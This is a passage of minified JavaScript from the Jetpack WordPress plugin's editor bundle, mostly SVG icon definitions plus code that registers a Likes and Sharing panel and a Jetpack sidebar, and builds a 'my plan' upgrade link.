2 5.462 2 8.5c0 5.72 6.5 10.438 10 12.85 3.5-2.412 10-7.13 10-12.85C22 5.462 19.538 3 16.5 3z"})))},E=((0,u.m)(),(0,o.createElement)(s.SVG,{viewBox:"0 0 24 24"},(0,o.createElement)(s.Rect,{x:"0",fill:"none",width:"24",height:"24"}),(0,o.createElement)(s.G,null,(0,o.createElement)(s.Path,{d:"M15.9216 2H2.98533C2.43803 2 1.99023 2.45 1.99023 3V17L5.97062 13H15.9216C16.4689 13 16.9167 12.55 16.9167 12V3C16.9167 2.45 16.4689 2 15.9216 2ZM14.9265 4V11H5.14469L3.98043 12.17V4H14.9265ZM18.9069 6H20.8971C21.4444 6 21.8922 6.45 21.8922 7V22L17.9118 18H6.96572C6.41842 18 5.97062 17.55 5.97062 17V15H18.9069V6Z"}))),(0,u.m)(),(0,o.createElement)(s.SVG,{viewBox:"0 0 24 24"},(0,o.createElement)(s.Rect,{x:"0",fill:"none",width:"24",height:"24"}),(0,o.createElement)(s.G,null,(0,o.createElement)(s.Path,{d:"M3.98042 2H19.9019C20.9965 2 21.8921 2.9 21.8921 4V16C21.8921 17.1 20.9965 18 19.9019 18H5.97061L1.99023 22V4C1.99023 2.9 2.88582 2 3.98042 2ZM5.97061 16H19.9019V4H3.98042V18L5.97061 16Z"}))),(0,u.m)(),(0,o.createElement)(s.SVG,{viewBox:"0 0 24 24"},(0,o.createElement)(s.Rect,{x:"0",fill:"none",width:"24",height:"24"}),(0,o.createElement)(s.G,null,(0,o.createElement)(s.Path,{d:"M11.1114 8H20.0002M11.1113 15H20.0002",stroke:(0,u.m)(),strokeWidth:"1.5"}),(0,o.createElement)(s.Path,{d:"M4 10V6L8 8L4 10Z",fill:(0,u.m)()}),(0,o.createElement)(s.Path,{d:"M4 17V13L8 15L4 17Z",fill:(0,u.m)()}))),(0,u.m)(),(0,o.createElement)(s.SVG,{viewBox:"0 0 24 24"},(0,o.createElement)(s.Rect,{x:"0",fill:"none",width:"24",height:"24"}),(0,o.createElement)(s.G,null,(0,o.createElement)(s.Path,{d:"M4 12V4L11 8L4 12Z"}),(0,o.createElement)(s.Path,{d:"M4 14.5H20V16H4V14.5Z"}),(0,o.createElement)(s.Path,{d:"M4 18.5H13V20H4V18.5Z"}))),(0,o.createElement)(s.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(s.Path,{d:"M2.5 7.5V4.5H15.5V7.5H10.5V19.5H7.5V7.5H2.5ZM12.5 9.5H21.5V12.5H18.5V19.5H15.5V12.5H12.5V9.5Z"})),(0,o.createElement)(s.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(s.Path,{d:"M12.7049 2V6C8.30658 6 4.74414 9.58 4.74414 14C4.74414 18.42 8.30658 22 12.7049 22C17.1032 22 20.6656 18.42 20.6656 14H18.6755C18.6755 17.31 15.9987 20 12.7049 20C9.41113 20 6.73433 17.31 6.73433 14C6.73433 10.69 9.41113 8 12.7049 8V12L17.6804 7L12.7049 2ZM11.6501 12.73L11.4013 14.9L12.068 15.06C12.0753 15.0526 12.0827 15.0447 12.0901 15.0366C12.1131 15.0116 12.1375 14.9851 12.1675 14.97C12.1874 14.96 12.2073 14.9475 12.2272 14.935C12.2471 14.9225 12.2671 14.91 12.287 14.9C12.3268 14.88 12.3865 14.86 12.4362 14.85C12.486 14.84 12.5556 14.83 12.6352 14.83C12.7447 14.83 12.8542 14.85 12.9338 14.88C13.0134 14.91 13.083 14.96 13.1427 15.03C13.2024 15.1 13.2422 15.17 13.2721 15.27C13.302 15.37 13.3119 15.47 13.3119 15.58V15.58C13.3119 15.69 13.3119 15.79 13.2821 15.89C13.2522 15.99 13.2124 16.07 13.1726 16.14C13.1328 16.21 13.0631 16.27 12.9935 16.31C12.9238 16.35 12.8343 16.37 12.7248 16.37C12.5556 16.37 12.4163 16.31 12.3069 16.22C12.1974 16.13 12.1377 15.99 12.1178 15.81H11.2819C11.2819 16.01 11.3317 16.19 11.4113 16.34C11.4909 16.49 11.5904 16.63 11.7297 16.73C11.869 16.83 12.0183 16.92 12.1874 16.97C12.3566 17.02 12.5357 17.05 12.7148 17.05C12.9636 17.05 13.1726 17 13.3517 16.93C13.5308 16.86 13.6801 16.75 13.7995 16.62C13.9189 16.49 14.0085 16.34 14.0682 16.17C14.1279 16 14.1577 15.82 14.1577 15.63C14.1577 15.41 14.1179 15.21 14.0682 15.03C14.0184 14.85 13.9289 14.7 13.8194 14.58C13.7099 14.46 13.5706 14.37 13.4114 14.3C13.2522 14.23 13.0731 14.2 12.8641 14.2C12.7945 14.2 12.7248 14.21 12.6651 14.22C12.6352 14.225 12.6054 14.2325 12.5755 14.24C12.5457 14.2475 12.5158 14.255 12.486 14.26C12.4263 14.27 12.3765 14.29 12.3367 14.31C12.3201 14.3183 12.3035 14.325 12.2876 14.3313C12.2654 14.3401 12.2446 14.3483 12.2272 14.36L12.3367 13.44H14.0284V12.73H11.6501Z"})),(0,o.createElement)(s.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(s.Path,{d:"M11.9412 2V6C16.3395 6 19.902 9.58 19.902 14C19.902 18.42 16.3395 22 11.9412 22C7.54291 22 3.98047 18.42 3.98047 14H5.97066C5.97066 17.31 8.64746 20 11.9412 20C15.235 20 17.9118 17.31 17.9118 14C17.9118 10.69 15.235 8 11.9412 8V12L6.96575 7L11.9412 2ZM10.8864 12.73L10.6376 14.9L11.3044 15.06C11.3117 15.0526 11.319 15.0447 11.3264 15.0366C11.3494 15.0116 11.3738 14.9851 11.4039 14.97C11.4238 14.96 11.4437 14.9475 11.4636 14.935C11.4835 14.9225 11.5034 14.91 11.5233 14.9C11.5631 14.88 11.6228 14.86 11.6725 14.85C11.7223 14.84 11.792 14.83 11.8716 14.83C11.981 14.83 12.0905 14.85 12.1701 14.88C12.2497 14.91 12.3194 14.96 12.3791 15.03C12.4388 15.1 12.4786 15.17 12.5084 15.27C12.5383 15.37 12.5482 15.47 12.5482 15.58V15.58C12.5482 15.69 12.5482 15.79 12.5184 15.89C12.4885 15.99 12.4487 16.07 12.4089 16.14C12.3691 16.21 12.2995 16.27 12.2298 16.31C12.1601 16.35 12.0706 16.37 11.9611 16.37C11.792 16.37 11.6526 16.31 11.5432 16.22C11.4337 16.13 11.374 15.99 11.3541 15.81H10.5182C10.5182 16.01 10.568 16.19 10.6476 16.34C10.7272 16.49 10.8267 16.63 10.966 16.73C11.1053 16.83 11.2546 16.92 11.4238 16.97C11.5929 17.02 11.7721 17.05 11.9512 17.05C12.1999 17.05 12.4089 17 12.588 16.93C12.7672 16.86 12.9164 16.75 13.0358 16.62C13.1552 16.49 13.2448 16.34 13.3045 16.17C13.3642 16 13.3941 15.82 13.3941 15.63C13.3941 15.41 13.3543 15.21 13.3045 15.03C13.2547 14.85 13.1652 14.7 13.0557 14.58C12.9463 14.46 12.807 14.37 12.6477 14.3C12.4885 14.23 12.3094 14.2 12.1004 14.2C12.0308 14.2 11.9611 14.21 11.9014 14.22C11.8716 14.225 11.8417 14.2325 11.8119 14.24C11.782 14.2475 11.7522 14.255 11.7223 14.26C11.6626 14.27 11.6128 14.29 11.573 14.31C11.5564 14.3183 11.5398 14.325 11.5239 14.3313C11.5017 14.3401 11.481 14.3483 11.4636 14.36L11.573 13.44H13.2647V12.73H10.8864Z"})),(0,o.createElement)(s.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,o.createElement)(s.Path,{d:"M0 0h24v24H0z",fill:"none"}),(0,o.createElement)(s.Path,{d:"M7 2v11h3v9l7-12h-4l4-8z",fill:"currentColor"}))),w=(0,o.createElement)(s.SVG,{width:"29",height:"21",viewBox:"0 0 29 21",fill:"none",xmlns:"http://www.w3.org/2000/svg"},(0,o.createElement)(s.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M2.79037 0.59375C4.0363 0.59375 5.13102 1.41658 5.47215 2.60947L8.8452 14.4044C8.8486 14.4164 8.85411 14.4273 8.86124 14.4368L12.8572 0.59375H15.0927H21.2721C25.6033 0.59375 28.5066 3.39892 28.5066 7.64565C28.5066 11.9411 25.5272 14.6196 21.0818 14.6196H18.1499H14.3719L13.6379 16.8813C12.9796 18.9095 11.0827 20.2839 8.94152 20.2839C6.80035 20.2839 4.90341 18.9095 4.24517 16.8813L0.137069 4.22276C-0.444671 2.43022 0.898038 0.59375 2.79037 0.59375ZM15.7374 10.4119H20.0156C21.8718 10.4119 22.9856 9.35018 22.9856 7.64565C22.9856 5.93137 21.8718 4.91839 20.0156 4.91839H17.5202L15.7374 10.4119Z",fill:"#000000"})),_=(0,o.createElement)(s.SVG,{viewBox:"0 0 24 24",fill:"none",xmlns:"http://www.w3.org/2000/svg"},(0,o.createElement)(s.Path,{d:"M4.75725 2.075C4.60279 1.97745 4.41041 1.97489 4.25365 2.06832C4.09689 2.16174 4 2.3367 4 2.52632V21.4737C4 21.6633 4.09689 21.8383 4.25365 21.9317C4.41041 22.0251 4.60279 22.0226 4.75725 21.925L19.7573 12.4513C19.9079 12.3562 20 12.1849 20 12C20 11.8151 19.9079 11.6438 19.7573 11.5487L4.75725 2.075Z",fill:"white"}));(0,o.createElement)(s.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",style:{fill:"none"}},(0,o.createElement)(s.Path,{d:"M13.9 16.55L13.75 16.75V17V19C13.75 19.1381 13.6381 19.25 13.5 19.25H10.5C10.3619 19.25 10.25 19.1381 10.25 19V17V16.75L10.1 16.55L7.25 12.75V9C7.25 8.86193 7.36193 8.75 7.5 8.75H16.5C16.6381 8.75 16.75 8.86193 16.75 9V12.75L13.9 16.55Z",stroke:"currentColor",strokeWidth:"1.5"}),(0,o.createElement)("line",{x1:"9.75",y1:"9",x2:"9.75",y2:"4",stroke:"currentColor",strokeWidth:"1.5"}),(0,o.createElement)("line",{x1:"14.25",y1:"9",x2:"14.25",y2:"4",stroke:"currentColor",strokeWidth:"1.5"})),(0,o.createElement)(s.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",fill:"none",xmlns:"http://www.w3.org/2000/svg"},(0,o.createElement)(s.Path,{d:"M18 6.75H6C5.30964 6.75 4.75 7.30964 4.75 8V16C4.75 16.6904 5.30964 17.25 6 17.25H18C18.6904 17.25 19.25 16.6904 19.25 16V8C19.25 7.30964 18.6904 6.75 18 6.75Z",stroke:"currentColor",strokeWidth:"1.5"}),(0,o.createElement)(s.Path,{d:"M5 7L12 13L19 7",stroke:"currentColor",strokeWidth:"1.5"})),(0,o.createElement)(s.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",fill:"none",xmlns:"http://www.w3.org/2000/svg"},(0,o.createElement)(s.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M7 2.75H6.25V3.5V8.25H5.5C4.25736 8.25 3.25 9.25736 3.25 10.5V18.5C3.25 19.7426 4.25736 20.75 5.5 20.75H18C19.2426 20.75 20.25 19.7426 20.25 18.5V10.5C20.25 9.25736 19.2426 8.25 18 8.25H9.5V9.75H18C18.4142 9.75 18.75 10.0858 18.75 10.5V18.5C18.75 18.9142 18.4142 19.25 18 19.25H5.5C5.08579 19.25 4.75 18.9142 4.75 18.5V10.5C4.75 10.0858 5.08579 9.75 5.5 9.75H6.25V10H7.75V6.5H7.75229H7.75464H7.75699H7.75934H7.76169H7.76405H7.7664H7.76875H7.77111H7.77346H7.77582H7.77817H7.78053H7.78289H7.78524H7.7876H7.78996H7.79232H7.79468H7.79704H7.7994H7.80176H7.80412H7.80648H7.80884H7.8112H7.81357H7.81593H7.81829H7.82065H7.82302H7.82538H7.82774H7.83011H7.83247H7.83484H7.8372H7.83956H7.84193H7.84429H7.84666H7.84902H7.85139H7.85375H7.85612H7.85848H7.86085H7.86322H7.86558H7.86795H7.87031H7.87268H7.87504H7.87741H7.87977H7.88214H7.8845H7.88687H7.88923H7.8916H7.89396H7.89633H7.89869H7.90106H7.90342H7.90578H7.90815H7.91051H7.91287H7.91524H7.9176H7.91996H7.92232H7.92468H7.92704H7.9294H7.93177H7.93412H7.93648H7.93884H7.9412H7.94356H7.94592H7.94828H7.95063H7.95299H7.95535H7.9577H7.96006H7.96241H7.96477H7.96712H7.96947H7.97182H7.97418H7.97653H7.97888H7.98123H7.98358H7.98592H7.98827H7.99062H7.99297H7.99531H7.99766H8H13.5V5.5V5V4.25V4V2.75H7Z",fill:"currentColor"})),(0,o.createElement)(s.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",fill:"none",xmlns:"http://www.w3.org/2000/svg"},(0,o.createElement)(s.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M15.6416 9.51049L16.3128 10.701L17.5605 10.1432C17.8568 10.0108 18.1778 9.94237 18.5024 9.94253H18.5032C19.7889 9.94253 20.8543 10.9979 20.8543 12.3265C20.8543 13.655 19.7889 14.7104 18.5032 14.7104C18.3449 14.7104 18.1896 14.6946 18.0348 14.6638L16.9668 14.4513L16.434 15.401C16.2045 15.81 15.7702 16.0783 15.2884 16.0783L15.2855 16.0783C15.0869 16.0787 14.8909 16.0337 14.7125 15.9467L13.2933 15.2546L12.6749 16.7074C12.4124 17.3238 11.8034 17.75 11.1027 17.75C10.3678 17.75 9.74128 17.289 9.49859 16.6313L9.04988 15.4152L7.78159 15.6829C7.68225 15.7039 7.58099 15.7144 7.47947 15.7143H7.47856C6.67732 15.7143 6 15.0516 6 14.203C6 13.6392 6.30098 13.1495 6.75148 12.8837L7.89299 12.2103L7.36523 10.9945C7.25853 10.7487 7.20361 10.4836 7.20389 10.2156V10.2141C7.20389 9.13045 8.08351 8.25 9.17451 8.25C9.69379 8.25 10.1669 8.451 10.5168 8.77912L10.5156 8.78033L10.5156 8.78034L10.5156 8.78036L10.5156 8.78039L10.5157 8.78042L10.5157 8.78047L10.5158 8.78051L10.5158 8.7806L10.5159 8.78065L10.516 8.78075L10.5161 8.78081L10.5162 8.78095L10.5163 8.78102L10.5164 8.78118L10.5165 8.78126L10.5167 8.78145L10.5168 8.78153L10.517 8.78176L10.5171 8.78184L10.5173 8.7821L10.5174 8.78219L10.5177 8.78248L10.5178 8.78257L10.5181 8.7829L10.5182 8.78299L10.5186 8.78336L10.5187 8.78344L10.5191 8.78385L10.5192 8.78392L10.5196 8.78438L10.5197 8.78444L10.5202 8.78495L10.5202 8.78499L10.5208 8.78556L10.5208 8.78558L10.5214 8.7862L10.5214 8.78621L10.5221 8.78686L10.5221 8.7869L10.5228 8.78755L10.5229 8.78762L10.5235 8.78827L10.5236 8.78839L10.5243 8.78903L10.5244 8.78919L10.5251 8.78982L10.5253 8.79003L10.5259 8.79065L10.5261 8.79091L10.5267 8.7915L10.5271 8.79183L10.5276 8.79239L10.528 8.79279L10.5286 8.79332L10.529 8.79379L10.5295 8.79427L10.5301 8.79483L10.5305 8.79526L10.5311 8.79591L10.5315 8.79629L10.5323 8.79702L10.5326 8.79734L10.5334 8.79818L10.5337 8.79843L10.5346 8.79938L10.5348 8.79955L10.5359 8.80062L10.5359 8.8007L10.5371 8.80188L10.5371 8.8019L10.5383 8.80309L10.5385 8.80322L10.5396 8.80434L10.5398 8.80458L10.5409 8.80562L10.5412 8.80598L10.5422 8.80693L10.5427 8.80743L10.5435 8.80827L10.5441 8.80891L10.5449 8.80964L10.5457 8.81043L10.5463 8.81105L10.5472 8.812L10.5477 8.81248L10.5488 8.81361L10.5492 8.81395L10.5505 8.81526L10.5507 8.81544L10.5522 8.81695L10.5522 8.81697L10.5538 8.81853L10.5539 8.81868L10.5554 8.82011L10.5557 8.82046L10.557 8.82173L10.5575 8.82227L10.5586 8.82338L10.5594 8.82413L10.5603 8.82506L10.5613 8.82603L10.562 8.82676L10.5632 8.82798L10.5637 8.8285L10.5652 8.82996L10.5655 8.83027L10.5672 8.83199L10.5673 8.83206L10.5691 8.83389L10.5693 8.83406L10.571 8.83574L10.5714 8.83618L10.5729 8.83763L10.5736 8.83834L10.5748 8.83954L10.5758 8.84054L10.5767 8.84148L10.578 8.84278L10.5787 8.84345L10.5803 8.84507L10.5807 8.84545L10.5826 8.8474L10.5827 8.84748L10.5848 8.84954L10.585 8.84978L10.5869 8.85162L10.5874 8.8522L10.589 8.85373L10.5899 8.85466L10.5911 8.85587L10.5924 8.85717L10.5933 8.85804L10.595 8.85972L10.5955 8.86023L10.5976 8.86231L10.5977 8.86246L10.5999 8.86471L10.6002 8.86495L10.6022 8.86699L10.6029 8.86764L10.6045 8.86929L10.6056 8.87037L10.6069 8.87162L10.6084 8.87314L10.6092 8.87398L10.6112 8.87596L10.6116 8.87637L10.614 8.87878L10.6141 8.87883L10.6165 8.88122L10.617 8.88174L10.6189 8.88369L10.6199 8.88469L10.6214 8.88618L10.6229 8.88769L10.6239 8.8887L10.626 8.89074L10.6265 8.89124L10.629 8.89381L10.6291 8.89383L10.6316 8.89641L10.6322 8.89697L10.6324 8.89712C10.6683 8.93709 10.7026 8.97856 10.7351 9.02142L10.7474 9.01213L10.7482 9.01292L10.7483 9.01306L10.7517 9.01642L10.7529 9.01768L10.7552 9.01995L10.7576 9.02236L10.7587 9.02349L10.7623 9.02706L10.7623 9.02708L10.7659 9.03064L10.7671 9.03185L10.7695 9.03425L10.7719 9.03667L10.7731 9.03787L10.7768 9.04152L10.7768 9.04155L10.7804 9.04519L10.7817 9.04647L10.7841 9.04887L10.7867 9.05144L10.7878 9.05258L10.7915 9.0563L10.7917 9.05647L10.7953 9.06005L10.7968 9.06155L10.799 9.06381L10.8019 9.06667L10.8028 9.06759L10.8066 9.0714L10.8071 9.07185L10.8105 9.07522L10.8123 9.07708L10.8143 9.07906L10.8176 9.08236L10.8182 9.08291L10.822 9.08679L10.8229 9.08769L10.8259 9.09068L10.8283 9.09308L10.8298 9.0946L10.8338 9.09852L10.8338 9.09853L10.8377 9.10248L10.8392 9.104L10.8417 9.10644L10.8457 9.11043L10.8497 9.11443L10.8537 9.11845L10.8577 9.12249L10.8618 9.12654L10.8659 9.13061L10.8699 9.1347L10.874 9.13881L10.8782 9.14293L10.8823 9.14707L10.8865 9.15122L10.8906 9.15539L10.8948 9.15958L10.899 9.16378L10.9032 9.168L10.9075 9.17224L10.9117 9.17649L10.916 9.18076L10.9203 9.18504L10.9246 9.18934L10.9289 9.19365L10.9332 9.19798L10.9376 9.20232L10.9419 9.20668L10.9463 9.21105L10.9507 9.21544L10.9551 9.21984L10.9595 9.22425L10.9639 9.22868L10.9684 9.23313L10.9728 9.23758L10.9773 9.24205L10.9818 9.24654L10.9863 9.25104L10.9908 9.25555L10.9953 9.26008L10.9999 9.26462L11.0044 9.26917L11.009 9.27373L11.0135 9.27831L11.0181 9.2829L11.0227 9.2875L11.0274 9.29212L11.032 9.29674L11.0366 9.30138L11.0413 9.30604L11.0459 9.3107L11.0506 9.31537L11.0553 9.32006L11.06 9.32476L11.0647 9.32947L11.0694 9.33419L11.0742 9.33892L11.0789 9.34367L11.0837 9.34842L11.0884 9.35319L11.0932 9.35796L11.098 9.36275L11.1028 9.36755L11.1076 9.37235L11.1124 9.37717L11.1172 9.382L11.1221 9.38683L11.1269 9.39168L11.1318 9.39654L11.1366 9.4014L11.1415 9.40628L11.1464 9.41116L11.1513 9.41606L11.1562 9.42096L11.1611 9.42587L11.166 9.43079L11.171 9.43572L11.1759 9.44066L11.1808 9.4456L11.1858 9.45056L11.1908 9.45552L11.1957 9.46049L11.2007 9.46547L11.2057 9.47046L11.2107 9.47545L11.2157 9.48045L11.2207 9.48546L11.2257 9.49048L11.2307 9.4955L11.2358 9.50053L11.2408 9.50557L11.2458 9.51061L11.2509 9.51566L11.256 9.52072L11.261 9.52578L11.2661 9.53085L11.2712 9.53592L11.2762 9.54101L11.2813 9.54609L11.2864 9.55119L11.2915 9.55628L11.2966 9.56139L11.3017 9.5665L11.3069 9.57161L11.312 9.57673L11.3171 9.58186L11.3222 9.58699L11.3274 9.59212L11.3325 9.59726L11.3376 9.6024L11.3428 9.60755L11.3479 9.6127L11.3531 9.61786L11.3583 9.62302L11.3634 9.62818L11.3686 9.63335L11.3738 9.63852L11.3789 9.6437L11.3841 9.64887L11.3893 9.65406L11.3945 9.65924L11.3997 9.66443L11.4049 9.66962L11.41 9.67481L11.4152 9.68001L11.4204 9.6852L11.4256 9.6904L11.4308 9.69561L11.436 9.70081L11.4413 9.70602L11.4465 9.71122L11.4517 9.71643L11.4569 9.72165L11.4621 9.72686L11.4673 9.73207L11.4725 9.73729L11.4777 9.7425L11.483 9.74772L11.4882 9.75294L11.4934 9.75816L11.4986 9.76338L11.5038 9.7686L11.5091 9.77382L11.5143 9.77904L11.5195 9.78426L11.5247 9.78948L11.5299 9.7947L11.5352 9.79992L11.5404 9.80514L11.5456 9.81036L11.5508 9.81558L11.556 9.82079L11.5612 9.82601L11.5665 9.83123L11.5717 9.83644L11.5769 9.84165L11.5821 9.84686L11.5873 9.85207L11.5925 9.85728L11.5977 9.86249L11.6029 9.86769L11.6081 9.87289L11.6133 9.87809L11.6185 9.88329L11.6237 9.88849L11.6289 9.89368L11.6341 9.89887L11.6393 9.90406L11.6445 9.90924L11.6497 9.91442L11.6548 9.9196L11.66 9.92477L11.6652 9.92994L11.6703 9.93511L11.6755 9.94027L11.6807 9.94543L11.6858 9.95059L11.691 9.95574L11.6961 9.96089L11.7013 9.96603L11.7064 9.97117L11.7115 9.9763L11.7167 9.98143L11.7218 9.98656L11.7269 9.99167L11.732 9.99679L11.7371 10.0019L11.7422 10.007L11.7473 10.0121L11.7524 10.0172L11.7575 10.0223L11.7626 10.0274L11.7677 10.0324L11.7727 10.0375L11.7778 10.0426L11.7829 10.0476L11.7879 10.0527L11.793 10.0577L11.798 10.0627L11.803 10.0678L11.808 10.0728L11.8131 10.0778L11.8181 10.0828L11.8231 10.0878L11.8281 10.0928L11.833 10.0978L11.838 10.1028L11.843 10.1077L11.8479 10.1127L11.8529 10.1177L11.8578 10.1226L11.8628 10.1275L11.8677 10.1325L11.8726 10.1374L11.8775 10.1423L11.8824 10.1472L11.8873 10.1521L11.8922 10.157L11.8971 10.1619L11.902 10.1667L11.9068 10.1716L11.9117 10.1764L11.9165 10.1813L11.9213 10.1861L11.9261 10.1909L11.9309 10.1957L11.9357 10.2005L11.9405 10.2053L11.9453 10.2101L11.9501 10.2148L11.9548 10.2196L11.9596 10.2243L11.9643 10.2291L11.969 10.2338L11.9737 10.2385L11.9784 10.2432L11.9831 10.2479L11.9878 10.2525L11.9924 10.2572L11.9971 10.2619L12.0017 10.2665L12.0064 10.2711L12.011 10.2757L12.0156 10.2803L13.0762 9.21967L13.0716 9.21507L13.067 9.21045L13.0624 9.20583L13.0577 9.20119L13.0531 9.19654L13.0484 9.19188L13.0438 9.1872L13.0391 9.18252L13.0344 9.17782L13.0297 9.17311L13.025 9.16839L13.0202 9.16366L13.0155 9.15892L13.0107 9.15417L13.006 9.1494L13.0012 9.14463L12.9964 9.13984L12.9916 9.13505L12.9868 9.13024L12.982 9.12542L12.9772 9.1206L12.9723 9.11576L12.9675 9.11092L12.9626 9.10606L12.9578 9.1012L12.9529 9.09632L12.948 9.09144L12.9431 9.08655L12.9382 9.08164L12.9333 9.07673L12.9284 9.07181L12.9234 9.06689L12.9185 9.06195L12.9136 9.057L12.9086 9.05205L12.9048 9.04829L13.0111 9.15036C13.3196 8.82924 13.7369 8.64023 14.1928 8.64023C14.7957 8.64023 15.3379 8.97179 15.6416 9.51049ZM11.9483 8.0917C12.1799 7.85456 12.4472 7.65398 12.7412 7.49903C13.1764 7.26964 13.67 7.14023 14.1928 7.14023C15.3737 7.14023 16.3972 7.7963 16.9483 8.77385C17.4375 8.55516 17.9673 8.44226 18.5032 8.44253C20.6289 8.44253 22.3543 10.1811 22.3543 12.3265C22.3543 14.4718 20.6289 16.2104 18.5032 16.2104C18.2434 16.2104 17.9901 16.1843 17.7421 16.135C17.2599 16.9944 16.3382 17.5783 15.2884 17.5783C14.957 17.579 14.6288 17.5208 14.319 17.4073C14.2294 17.3744 14.1412 17.337 14.055 17.2949C14.0121 17.3958 13.9641 17.4941 13.9114 17.5894C13.3647 18.5786 12.3115 19.25 11.1027 19.25C9.71839 19.25 8.54402 18.3774 8.09134 17.1506C7.88985 17.1931 7.68448 17.2145 7.47856 17.2143C5.83183 17.2143 4.5 15.8628 4.5 14.203C4.5 13.0877 5.09965 12.1167 5.98928 11.5918C5.80055 11.157 5.7034 10.688 5.70389 10.2141C5.70389 8.29833 7.25878 6.75 9.17451 6.75C9.91511 6.75 10.6042 6.98301 11.1683 7.38015C11.3677 7.52056 11.5515 7.68148 11.7164 7.85987L11.7168 7.86025L11.7196 7.86308L11.7197 7.86309L11.7225 7.86597L11.7232 7.86663L11.7254 7.86886L11.7268 7.87024L11.7283 7.87178L11.7304 7.87389L11.7313 7.87472L11.7341 7.87759L11.7343 7.87769L11.7372 7.88068L11.7379 7.88133L11.7403 7.8837L11.7417 7.88513L11.7433 7.88674L11.7455 7.88897L11.7464 7.8898L11.7494 7.89286L11.7494 7.89288L11.7526 7.89599L11.7534 7.89679L11.7557 7.89912L11.7573 7.90078L11.7588 7.90228L11.7614 7.90481L11.762 7.90546L11.7652 7.90866L11.7655 7.90889L11.7684 7.91188L11.7696 7.91302L11.7717 7.91512L11.7738 7.9172L11.7749 7.91839L11.778 7.92143L11.7782 7.92168L11.7815 7.92499L11.7823 7.92571L11.7849 7.92832L11.7866 7.93003L11.7882 7.93168L11.791 7.93441L11.7916 7.93505L11.795 7.93845L11.7954 7.93883L11.7984 7.94187L11.7999 7.9433L11.8019 7.94531L11.8044 7.94783L11.8053 7.94877L11.8088 7.95226L11.809 7.9524L11.8123 7.95576L11.8136 7.95702L11.8158 7.95929L11.8183 7.9617L11.8194 7.96283L11.823 7.9664L11.823 7.96642L11.8265 7.96998L11.8277 7.97119L11.8301 7.97359L11.8326 7.97601L11.8338 7.97721L11.8374 7.98086L11.8374 7.98089L11.8411 7.98453L11.8424 7.98581L11.8448 7.98821L11.8473 7.99078L11.8485 7.99192L11.8522 7.99564L11.8524 7.99581L11.8559 7.99939L11.8574 8.00089L11.8597 8.00315L11.8626 8.00601L11.8635 8.00693L11.8673 8.01074L11.8677 8.01119L11.8711 8.01456L11.873 8.01642L11.875 8.0184L11.8783 8.0217L11.8788 8.02225L11.8827 8.02613L11.8836 8.02703L11.8866 8.03002L11.889 8.03242L11.8905 8.03394L11.8944 8.03785L11.8944 8.03787L11.8984 8.04182L11.8999 8.04334L11.9023 8.04578L11.9063 8.04977L11.9103 8.05377L11.9143 8.05779L11.9184 8.06183L11.9224 8.06588L11.9265 8.06995L11.9306 8.07404L11.9347 8.07815L11.9388 8.08227L11.943 8.08641L11.9471 8.09056L11.9483 8.0917Z",fill:"currentColor"}))},12923:function(e,t,n){"use strict";n.d(t,{Z:function(){return o}});var r=n(13419),a=n(92819);function o(){return(0,a.get)((0,r.Pb)(),["jetpack","is_active"],!1)}},99621:function(e,t,n){"use strict";n.d(t,{Z:function(){return o}});var r=n(13419),a=n(92819);function o(){return(0,a.get)((0,r.Pb)(),["jetpack","is_offline_mode"],!1)}},8264:function(e,t,n){"use strict";n.d(t,{Z:function(){return l}});var r=n(51806),a=n(55609),o=n(65736),i=n(98817),s=n(34613);const __=o.__,{Fill:l,Slot:c}=(0,a.createSlotFill)("JetpackLikesAndSharingPanel");(0,i.registerPlugin)("jetpack-likes-and-sharing-panel",{render:()=>(0,r.createElement)(c,null,(e=>e.length?(0,r.createElement)(s.Z,null,(0,r.createElement)(a.PanelBody,{title:__("Likes and Sharing","jetpack"),initialOpen:!1},e)):null))})},34613:function(e,t,n){"use strict";n.d(t,{Z:function(){return m}});var r=n(51806),a=n(55609),o=n(9818),i=n(47701),s=n.n(i),l=n(72067),c=n(69307),u=n(98817),d=n(96483),p=n(81427);const{Fill:m,Slot:h}=(0,a.createSlotFill)("JetpackPluginSidebar");s()((function(){"true"===(0,d.getQueryArg)(window.location.search,"jetpackSidebarIsOpen")&&(0,o.dispatch)("core/interface").enableComplementaryArea("core/edit-post","jetpack-sidebar/jetpack")})),(0,u.registerPlugin)("jetpack-sidebar",{render:()=>(0,r.createElement)(h,null,(e=>e.length?(0,r.createElement)(c.Fragment,null,(0,r.createElement)(l.PluginSidebarMoreMenuItem,{target:"jetpack",icon:(0,r.createElement)(p.IM,null)},"Jetpack"),(0,r.createElement)(l.PluginSidebar,{name:"jetpack",title:"Jetpack",icon:(0,r.createElement)(p.IM,null)},e)):null))})},63066:function(e,t,n){"use strict";var r=n(13419),a=n(86989),o=n.n(a),i=n(9818),s=n(65736);n(53961);const __=s.__;function l(){const e=(0,r.lQ)();return void 0!==typeof window&&window.location&&e?(0,r.Wp)()||(0,r.Ug)()?`https://wordpress.com/plans/my-plan/${e}`:`${window.location.protocol}//${e.replace("::","/")}/wp-admin/admin.php?page=jetpack#/my-plan`:null}(async()=>{if(void 0!==typeof window&&window.location){if(new URLSearchParams(window.location.search).get("plan_upgraded")){let e=null;e:try{if((0,r.Wp)())break e;const t=await o()({path:"/jetpack/v4/site"});e=JSON.parse(t.data).plan.product_name}finally{const t=l();(0,i.dispatch)("core/notices").createNotice("success",e?(0,s.sprintf)(/* translators: %s is the plan name, such as Jetpack Premium. */
